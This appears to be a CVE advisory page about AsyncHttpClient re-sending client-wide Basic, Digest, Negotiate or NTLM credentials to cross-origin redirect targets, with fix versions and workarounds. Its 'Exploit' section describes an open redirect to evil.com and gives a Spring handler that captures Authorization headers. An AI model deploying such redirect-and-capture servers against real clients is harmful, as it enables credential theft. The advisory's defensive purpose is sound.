Listen to this Post
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.14.5 to 2.16.0 and from 3.0.9 to 3.0.11, a client configured with a client-wide Realm (a Realm set on the config builder rather than on an individual request) and following redirects could re-send those credentials to a redirect target on a different origin. The redirect code correctly strips the per-exchange realm, but when the target answered 401, the credentials were re-derived from the client configuration, handing Basic or Digest credentials, or a Negotiate or NTLM token, to an attacker-controlled origin. This is a residual bypass of the earlier cross-origin credential-stripping fixes GHSA-cmxv-58fp-fm3g and GHSA-fmxf-pm6p-7xgm, whose strip this issue bypassed. The interceptor read the realm as the request’s realm or, failing that, the client configuration’s realm, which re-attached the config realm after the redirect strip had cleared it. It now reads the realm held on the response future. Per-request realms are stripped correctly, and this issue is fixed in versions 2.16.1 and 3.0.12.
DailyCVE Form:
Platform: AsyncHttpClient
Version: 3.0.9-3.0.11
Vulnerability: Credential Leak
Severity: Medium
date: 2026-09-17
Prediction: 2026-09-17
What Undercode Say:
Check current async-http-client version in Maven project mvn dependency:tree | grep async-http-client Check Gradle project ./gradlew dependencies --configuration runtimeClasspath | grep async-http-client Search for Realm configuration in codebase grep -rn "setRealm|Realm." src/main/java/ Check if followRedirect is enabled grep -rn "followRedirect" src/main/java/
// Vulnerable configuration: client-wide Realm
AsyncHttpClientConfig config = new DefaultAsyncHttpClientConfig.Builder()
.setRealm(new Realm.Builder("user", "password")
.setScheme(Realm.AuthScheme.BASIC)
.build())
.setFollowRedirect(true)
.build();
// Workaround: per-request Realm (safe)
Request request = new RequestBuilder("GET")
.setUrl("https://api.example.com/data")
.setRealm(new Realm.Builder("user", "password")
.setScheme(Realm.AuthScheme.BASIC)
.build())
.build();
Exploit: (Educational Purposes!)
// Attacker-controlled server that redirects to malicious origin
// 1. Attacker hosts an open redirect at https://trusted-looking.com/redirect?url=https://evil.com
// 2. Victim application (AsyncHttpClient with client-wide Realm) requests the redirect URL
// 3. Redirect response returns Location: https://evil.com with 302 status
// 4. AsyncHttpClient follows redirect, stripping per-exchange realm
// 5. evil.com returns 401 Unauthorized
// 6. Interceptor falls back to client config realm, re-generating credentials
// 7. Basic/Digest/Negotiate/NTLM credentials sent to evil.com
// Simplified redirect handler on attacker server
@GetMapping("/redirect")
public ResponseEntity<Void> redirect(@RequestParam String url) {
return ResponseEntity.status(302)
.header("Location", url)
.build();
}
// Malicious 401 responder
@GetMapping("/capture")
public ResponseEntity<String> capture(HttpServletRequest request) {
String authHeader = request.getHeader("Authorization");
// Log stolen credentials
return ResponseEntity.status(401)
.header("WWW-Authenticate", "Basic realm=\"capture\"")
.build();
}
Protection: from this CVE
// Complete workaround: set Realm on individual request instead of client config
AsyncHttpClient client = Dsl.asyncHttpClient(
Dsl.config()
.setFollowRedirect(true)
// Do NOT set client-wide realm
.build()
);
// Per-request realm is stripped correctly on cross-origin redirect
Request safeRequest = Dsl.get("https://api.example.com/data")
.setRealm(Dsl.basicAuthRealm("user", "password").build())
.build();
// Alternative: disable redirect following entirely
AsyncHttpClientConfig secureConfig = new DefaultAsyncHttpClientConfig.Builder()
.setFollowRedirect(false)
.build();
// Note: setStripAuthorizationOnRedirect(true) alone is NOT a workaround
// on affected versions because the config fallback re-derives the realm
<!-- Upgrade to patched versions --> <!-- 3.x line --> <dependency> <groupId>org.asynchttpclient</groupId> <artifactId>async-http-client</artifactId> <version>3.0.12</version> </dependency> <!-- 2.x line --> <dependency> <groupId>org.asynchttpclient</groupId> <artifactId>async-http-client</artifactId> <version>2.16.1</version> </dependency>
Impact:
A client configured with a client-wide realm and following redirects could re-send those credentials to a redirect target on a different origin. The redirect code strips the per-exchange realm, but when the target answered 401 the credentials were re-derived from the client config, handing Basic or Digest credentials, or a Negotiate or NTLM token, to an attacker-controlled origin. An attacker who controls a redirect target (via open redirect, DNS rebinding, or MITM on HTTP) can capture Bearer tokens, Basic auth credentials, or any other Authorization header value. This leaks credentials on cross-domain redirects and HTTPS-to-HTTP downgrades. Even when stripAuthorizationOnRedirect is set to true, the Realm object containing plaintext credentials is still propagated to the redirect request, causing credential re-generation for Basic and Digest authentication schemes. The vulnerability represents a regression in security posture, bypassing previous mitigations implemented to address similar cross-origin credential stripping issues.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

